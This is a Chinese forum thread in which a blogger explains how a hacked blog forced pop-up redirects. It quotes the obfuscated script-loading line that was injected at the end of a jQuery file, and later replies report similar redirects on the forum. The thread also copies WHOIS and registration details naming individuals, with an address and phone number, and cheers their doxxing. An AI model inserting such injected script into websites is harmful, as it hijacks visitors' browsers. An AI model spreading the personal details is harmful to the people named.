无忌文字论坛首页经常会自动跳转到wa66.com，可能是网站中招了。

转载:被强制弹窗qq937.com的，进来看看
一个站长朋友自己写的一个教程

昨天有人告诉我说，她访问我的博客有弹窗！
我首先当然是不相信啊，就告诉他说是她电脑有木马吧！
然后就没有管了！
今天我在emlog六群里求博客测速。
就有emer告诉我说有弹窗。
我就问他们弹出来的是什么网站
他们说是这个：http://www.qq937.com/mhxx/tz/3370.html?cid=3370

然后我就开始漫长的查询之旅！
----省略N个字------
用了我一个上午时间。
终于查到了什么文件被修改了（发帖前找到的）
\include\lib\js\jquery\jquery-1.2.6.js  这个文件被修改了！！
在这个文件的最后面加上了这段代码：document.write("<scr"+"ipt src='http://ad."+"nu9"+"9"+".com"+"/ip."+"asp?loc"+"=chenzhou'><\/scr"+"ipt>");
我删除后找了几个从来没有点击过我的博客的人测试了一下
表示木有弹了！
（提示：这个弹窗很狡猾，每个IP每天只弹一次！）

我在google上看到有很多人有这个弹窗
表示都很无奈
我用我那无私奉献的精神把教程发出来~~呵呵！

还有，你们知道qq937.com排名多少吗？
全球500多，中国前100
我操他妹
这都是弹出来的！他妈的 这个站站长不要脸！
据说这个站站长已经被人肉！！！
QQ937备案信息：http://tool.chinaz.com/beian.aspx?s=www.qq937.com/mhxx/tz/3370.html?cid=3370
nu99.com的whois信息：
Name : Li DeSI
Organization : Guangzhou WeiZhi Soft
Address : Room 850,building No.1, JIayiYuan,No 445,North Road,Guangzhou
City : guangzhoushi
Province/State : guangdongsheng
Country : china
Postal Code : 510410
Phone Number : 86-020-7829898
Fax : 86-020-7829898
Email : [email][email protected][/email]

[email][email protected][/email] 下的其他域名：wa66.com  oy66.com  zom123.net  mp3tj.com

ICP网站备案信息：
备案/许可证号： 粤ICP备09164785号  审核通过时间： 2009-09-07  
主办单位名称： 钟艺
域名：wa66.com  oy66.com  zom123.net

备案/许可证号： 粤ICP备09132699号  审核通过时间： 2009-07-20  
主办单位名称： 罗新华
域名：mp3tj.com 本帖最后由 老咸鱼 于 2012-1-17 16:32 编辑

这次我抓到了，文字论坛首页突然跳到这个地址，应该是网页被植入了代码：  http://ad.zom123.net/?action=pop

还没发现

我的也是